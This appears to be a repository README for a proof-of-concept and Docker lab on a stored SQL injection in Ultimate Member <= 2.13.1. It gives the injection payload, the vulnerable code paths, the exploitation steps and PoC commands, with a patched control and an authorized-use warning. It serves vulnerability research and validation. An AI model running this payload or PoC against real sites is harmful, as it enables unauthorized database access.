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CVE-2026-62059-ultimate-member-sqli-poc β€” Proof-of-concept and Docker lab reproducing CVE-2026-62059, a stored SQL injection in Ultimate Member <= 2.13.1, with a boolean oracle and patched 2.14.0 control. | Kitploit
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CVE-2026-62059-ultimate-member-sqli-poc

Proof-of-concept and Docker lab reproducing CVE-2026-62059, a stored SQL injection in Ultimate Member <= 2.13.1, with a boolean oracle and patched 2.14.0 control.

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CVE-2026-62059 - Ultimate Member Stored SQL Injection Validation Lab

Security-research material for reproducing and validating CVE-2026-62059: Ultimate Member <= 2.13.1 stores member directory search-field identifiers without sanitization, and those identifiers are concatenated raw into the SQL of every directory search - an administrator-planted, second-order (stored) SQL injection.

  • Affected: Ultimate Member <= 2.13.1
  • Fixed: 2.14.0 (_um_search_include_fields / _um_search_exclude_fields whitelisted against registered searching fields at save time)
  • CVSS 3.1: 7.6 per Patchstack (PR:H - administrator plants the payload)
  • Auth: the payload is planted by an administrator (directory editor); it then fires for any visitor who searches the member directory - unauthenticated on directories open to guests (the lab's configuration), member-session otherwise (default UM directories are _um_privacy=2)

Use only on systems you own or are explicitly authorized to test. The PoC uses a read-only boolean oracle (tautology vs falsity, total_users flip). No SLEEP, no data extraction, nothing modified beyond the lab's own directory settings.

Verdict

Status: proven in the supplied lab.

Ultimate Member 2.13.1 (WordPress 7.1.2, default directory page):

admin save     : um_metadata[_um_search_include_fields][] = "x') OR 1=1) -- "
                 stored verbatim in postmeta (unregistered-key passthrough)
search (guest) : POST admin-ajax action=um_get_members search=<oracle token>
                 INNER JOIN ... meta_key IN('x') OR 1=1) -- ')  -> total_users = 1
admin save     : "x') OR 1=2) -- "                             -> total_users = 0
2.14.0         : save whitelists the identifiers, payload dropped,
                 both searches stay at 0 (patched negative control)

A boolean differential that flips only with the injected 1=1/1=2 proves arbitrary SQL execution from the stored identifier. The PoC does not demonstrate data extraction (UNION/error/time are trivial extensions of the same sink and are deliberately left out).

Root cause (verified against the 2.14.0 fix)

Write path. UM()->admin()->sanitize_member_directory_meta() only sanitizes um_metadata keys that are registered in $member_directory_meta; every other _um_* key falls through verbatim:

// includes/admin/class-admin.php:1285, Ultimate Member 2.13.1
if ( ! array_key_exists( $k, $this->member_directory_meta ) ) {
    // @todo remove since 2.2.x and leave only continue
    $sanitized[ $k ] = $v;   // unregistered keys pass through raw
    continue;
}

_um_search_include_fields ("Fields to search by") and _um_search_exclude_fields ("Exclude fields from search") - the directory Search metabox multi-selects (includes/admin/templates/directory/search.php)

  • are not registered in 2.13.1, so whatever identifiers arrive in the save POST are stored as-is. 2.14.0 registers both keys with a new sanitize_member_directory_field() callback that keeps only values present in UM()->member_directory()->searching_fields:
// 2.14.0, includes/admin/class-admin.php
'_um_search_include_fields' => array(
    'sanitize' => array( $this, 'sanitize_member_directory_field' ),
),

Read path (the sink). On every directory search with a search term, search_changes() builds the user query join by string concatenation:

// includes/core/class-member-directory.php:2967, 2.13.1 (unchanged in 2.14.0)
$user_query->query_from .= " INNER JOIN {$wpdb->usermeta} AS um_search ON
( {$wpdb->users}.ID = um_search.user_id AND um_search.meta_key IN('"
. implode( "','", $custom_fields ) . "'))";

$custom_fields holds the stored identifiers; unknown keys pass the get_field() / um_can_view_field() gate (both return true/empty for unregistered fields). No prepare(), no quoting - the 2.14.0 fix removes the injectable data at save time and leaves the sink as is.

Exploitation flow (as validated)

  1. Plant (administrator). Save the directory (post.php, um_admin_save_metabox_directory_nonce) with um_metadata[_um_search_include_fields][] set to the SQL payload. The save succeeds; the payload lands in postmeta verbatim.
  2. Fire (any visitor). A search request (admin-ajax.php, action=um_get_members, the directory's public data-hash, the um-frontend-nonce from the page, and any search term) reaches search_changes(), which concatenates the stored identifier into the meta_key IN(...) clause.
  3. Observe. The lab seeds a distinctive usermeta token (description = UM62059-ORACLE-TOKEN on a subscriber). With the tautology payload the join matches everything and the token row yields total_users = 1; with 1=2 the join matches nothing and the count is 0. The differential is the oracle.

Quick start

Requirements: Docker with Compose v2, Python 3.10+ on the host.

./lab verify

Builds the 2.13.1 lab, requires the oracle to fire, then builds the 2.14.0 lab and requires it silent. Remove everything with ./lab reset.

Expected evidence

Vulnerable control:

[!!!] STORED SQL INJECTION CONFIRMED
  stored  : um_metadata[_um_search_include_fields][] passed the save
            handler unsanitized (unregistered-key passthrough)
  sink    : search_changes() -> INNER JOIN ... meta_key IN('x') OR 1=1) -- ')
  oracle  : total_users flips with the injected boolean (1=1 -> 1, 1=2 -> 0)
RESULT: VULNERABLE CONTROL CONFIRMED

Patched control:

[=] boolean oracle silent. Possibilities: plugin patched (>= 2.14.0
    whitelists the identifiers at save time), ...
[+] patched save dropped the payload (stored value is whitelisted/empty)
RESULT: PATCHED CONTROL CONFIRMED

The lab driver additionally asserts the write path in postmeta: verbatim payload stored on 2.13.1, whitelisted/empty value on 2.14.0.

Manual lab lifecycle

./lab start vulnerable   # 2.13.1 lab on http://127.0.0.1:9487
./lab test               # assert the oracle fires
./lab start patched      # 2.14.0 lab
./lab test               # assert silence
./lab status
./lab reset

Run the PoC by hand (loopback default; authorized external targets need the explicit override):

python3 poc/poc_cve_2026_62059.py --url http://127.0.0.1:9487 \
    --page-id 5 --directory-id 6
python3 poc/poc_cve_2026_62059.py --url https://target.example \
    --page-id 5 --directory-id 6 \
    --allow-authorized-non-loopback [--insecure]

The nuclei template (nuclei/cve-2026-62059.yaml) is a version screen only (readme.txt stable tag <= 2.13.1). The behavioral chain requires an administrator save plus a search request, which is not practical to express in nuclei; the Python PoC performs the full flow.

Affected and tested versions

VersionAssessment
Ultimate Member 2.13.1Stored SQL injection reproduced end to end
Ultimate Member 2.14.0Patched negative control reproduced
Ultimate Member <= 2.13.0Affected per advisory; not individually tested

Repository layout

.
β”œβ”€β”€ .github/workflows/validate.yml
β”œβ”€β”€ .gitignore
β”œβ”€β”€ LICENSE
β”œβ”€β”€ README.md
β”œβ”€β”€ SECURITY.md
β”œβ”€β”€ docker-compose.yml
β”œβ”€β”€ lab
β”œβ”€β”€ nuclei/
β”‚   └── cve-2026-62059.yaml
└── poc/
    └── poc_cve_2026_62059.py

Not committed: assets/ (plugin zips), .lab-state, __pycache__/.

Validation boundaries

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